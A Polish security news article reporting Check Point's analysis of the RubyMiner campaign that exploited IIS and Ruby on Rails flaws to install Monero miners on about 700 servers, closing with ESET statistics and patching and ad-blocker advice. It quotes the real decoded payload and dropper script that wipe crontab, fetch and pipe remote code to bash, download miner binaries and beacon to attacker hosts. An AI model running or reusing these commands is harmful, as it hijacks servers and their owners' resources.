Firma Check Point zaobserwowała ataki wykorzystujące podatności w serwerach WWW (Microsoft IIS i Ruby on Rails) mające na celu zainfekowanie jak największej ilości maszyn skryptem XMRig wydobywającym kryptowalutę Monero. Kilka godzin po opublikowaniu pierwszej analizy, zainfekowanych zostało ponad 700 serwerów na całym świecie. Najbardziej oberwało się administratorom stron z USA, Niemiec, Wielkiej Brytanii, Norwegii i Szwecji — chociaż zdaniem Check Point mogło nawet nie być kraju, w którym nie odnotowano by infekcji.

Do identyfikacji luk w serwerach WWW napastnicy wykosztują najprawdopodobniej narzędzie p0f.

Jeżeli serwer na jedną z podatności (CVE-2013-015, CVE-2013-4878, CVE-2012-1823, CVE-2012-2335, CVE-2012-2311, CVE-2012-2336, CVE-2005-267) zostanie zlokalizowany, to w pierwszej kolejności uruchamiany jest na nim kod metodą POST, który pobiera ostateczny payload:

RubyMiner1

Napastnik do wstrzykiwania kodu PHP na serwerach Ruby on Rails i Microsoft IIS wykorzystuje podatności CVE-2013-0156 i CVE-2005-2678 z takim samym payloadem jak dla Apache, ale zakodowanym w base64:

RubyMiner2

Zdekodowany payload wygląda tak:

system('crontab -r; wget -V&&echo "1 * * * * wget -q -O - <a href="http://internetresearch.is/robots.txt">http://internetresearch.is/robots.txt</a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -;wget -V||curl -V|echo "1 * * * * curl -s <a href="http://internetresearch.is/robots.txt">http://internetresearch.is/robots.txt</a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -')

Payload na serwerze wykonuje instrukcję uruchomienia polecenia crontab –r, które usuwa wszystkie pozostałe zadania i dodaje własne:

echo “1 * * * * wget -q -O – hxxp://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –  

Tak „zainfekowany” serwer w pierwszej minucie każdej godziny próbuje pobrać zmodyfikowany plik robots.txt (normalnie wykorzystywany do blokowania botów internetowych np. w celu zabronienia indeksowania całej strony lub wskazanych linków) ze wskazanej domeny, udostępniając go online. „Przy okazji” wykonywany jest kod umieszczony w pliku robots.txt, podobny do tego:

x86_64="http://internetresearch.is/sshd"
i686="http://internetresearch.is/sshd.i686"
touch .test||cd /dev/shm||cd /tmp 2>/dev/null
>$MAIL&&chmod 000 $MAIL
rm .test 2>/dev/null
rm sshd* 2>/dev/null
pkill -9 xmrig 2>/dev/null
pid=$(pgrep -f -o 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8')
test $pid && pgrep -f 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8' | grep -vw $pid | xargs -r kill -9
pgrep -f tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8 && exit 0
wget --no-check-certificate "$x86_64" -O .sshd||curl -k "$x86_64" -o .sshd
wget --no-check-certificate "$i686" -O .sshd.i686||curl -k "$i686" -o .sshd.i686
chmod +x .sshd .sshd.i686
pgrep -f hashvault||./.sshd -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href="http://lochjol.com/FAIL">http://lochjol.com/FAIL</a> -O /dev/null --user-agent "$(uname -p)"||curl <a href="http://lochjol.com/FAIL">http://lochjol.com/FAIL</a> --user-agent "$(uname -p)"
pgrep -f hashvault||./.sshd.i686 -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href="http://lochjol.com/FAIL">http://lochjol.com/FAIL</a> -O /dev/null --user-agent "$(uname -a)"||curl <a href="http://lochjol.com/FAIL">http://lochjol.com/FAIL</a> --user-agent "$(uname -a)"<br />

Eksperci zaznaczają, że napastnik zastosował sztuczkę polegającą na uruchamianiu kodu z pliku robots.txt co godzinę, dzięki czemu będzie mógł zmodyfikować polecenia i np. zatrzymać wydobywanie Monero w każdej chwili (jeżeli zajdzie taka potrzeba).

Na podstawie adresu portfela Monero udało się ustalić, że w ciągu 24 godzin zainfekowano około 700 serwerów, które dały napastnikowi 540 dolarów dochodu.

Opisywany tutaj przypadek nie jest niczym nowym. Coraz częściej wśród cyberprzestępców obserwujemy zainteresowanie monetyzowaniem tej metody dzięki komputerowym obliczeniom. Według statystyk firmy ESET napastnicy dostosowują się do panujących trendów i zmieniają wyłudzanie okupu przez szyfrowanie plików ransomware’m na kopanie kryptowaluty. Na potwierdzenie tej tezy wystarczy rzucić okiem na poniższy wykres dotyczący naszego kraju:

eset statystyki

Statystyki dostarczone przez firmę ESET wskazują na szkodnika wykrywanego jako JS/CoinMiner — a więc złośliwego kodu JavaScript — który stanowi aż 33% wszystkich wykrytych zagrożeń na komputerach użytkowników z Polski.

Podobnemu incydentowi związanemu z koparką Monero uległa niedawno zhackowana strona internetowa BlackBerry.com, a także polski serwis informacyjny Rzeczpospolita.pl

Takim i podobnym atakom można zapobiec. Administratorom sugerujemy, aby dbali o systematyczne aktualizacje aplikacji zainstalowanych na serwerze, a także skryptów i rozszerzeń dodanych do witryn internetowych. Użytkownikom domowym polecamy renomowane oprogramowanie antywirusowe, ale koniecznie takie, które posiada ochronę przeglądarki. Tylko w taki sposób możliwe będzie wykrycie i zablokowanie złośliwego skryptu. Osobom, które nie chcą korzystać z AV, rekomendujemy jeden z blockerów reklam (najlepiej uBlock) lub rozszerzenie NoCoin, które jest dostępne dla przeglądarek Chrome/Chromium, Firefox i Opera.

AUTOR:

Adrian Ścibor

Podziel się